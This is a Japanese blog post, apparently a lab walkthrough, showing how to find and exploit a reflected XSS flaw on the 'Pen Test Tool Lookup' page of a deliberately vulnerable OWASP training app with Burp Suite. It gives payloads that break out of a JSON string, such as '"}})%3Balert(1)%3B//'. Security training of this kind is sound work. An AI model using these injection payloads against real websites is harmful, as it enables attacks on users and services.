Shikata Ga Nai

Private? There is no such things.

Burp Suiteでちょっと難しいクロスサイトスクリプティングをためしてみた

Hello there, ('ω')ノ

 

OWASP 2017 ⇨ A7 ⇨ Reflected(First Order) ⇨ Pen Test Tool Lookupを選択して。 

 

f:id:ThisIsOne:20200204195838p:plain

 

まずは動作確認を。

 

f:id:ThisIsOne:20200204195943p:plain

 

Burp Suiteでパラメータを確認して。

 

f:id:ThisIsOne:20200204200200p:plain

 

Responseを見るとRequestの値がそのまま渡されているのでXSSが仕込めそうで。

 

f:id:ThisIsOne:20200204200511p:plain

 

まずは、『Send to Repeater』で確認を。

 

f:id:ThisIsOne:20200204200704p:plain

 

下記のようにペイロードを組み込んで『Go』ボタンで実行してみると。

そのままResponseに反映された。

 <script>alert(1)</script>

 

f:id:ThisIsOne:20200204200945p:plain

 

これをそのまま実行するとJSONのエラーらしきものが。

 

f:id:ThisIsOne:20200206104540p:plain

 

再度、丁寧にレスポンスのコードを書き出して。

SQLインジェクションと同じ要領で、JSONを閉じてスクリプトを実行することに。

 

var gPenTestToolsJSONString = var gPenTestToolsJSONString =

    '{

        "query": {

            "toolIDRequested": "3<script>alert(1)</script>",

            "penTestTools": [

                {"tool_id":"3<script>alert(1)</script>",

                 "tool_name":"Skipfish",

                 "phase_to_use":"Discovery",

                 "tool_type":"Scanner",

                 "comment":"Agressive. Fast. Uses wordlists to brute force directories."

                }

            ]

        }

    }'

 

⇩ alertの前でJSONを終了させて、alertのあとはコメントに。

 

var gPenTestToolsJSONString = var gPenTestToolsJSONString =

    '{

        "query": {

            "toolIDRequested": "3"}};alert(1);//",

 

 

最後に『;』 ⇨ 『%3B』にエンコードした下記のペイロードを仕込んで。

 "}}%3Balert(1)%3B//

 

f:id:ThisIsOne:20200206105558p:plain

 

なんだか、JSONのエラーで『)』が漏れているようで。

 

f:id:ThisIsOne:20200206105648p:plain

 

どこに対しての『)』なのか見つけることができなかったので。

とりあえず、JSONを終わらせる『%3B』の前に追加して再度実行すると。

 "}})%3Balert(1)%3B//

 

f:id:ThisIsOne:20200206105759p:plain

 

スクリプトが実行された。

 

f:id:ThisIsOne:20200206104336p:plain

 

Best regards, (^^ゞ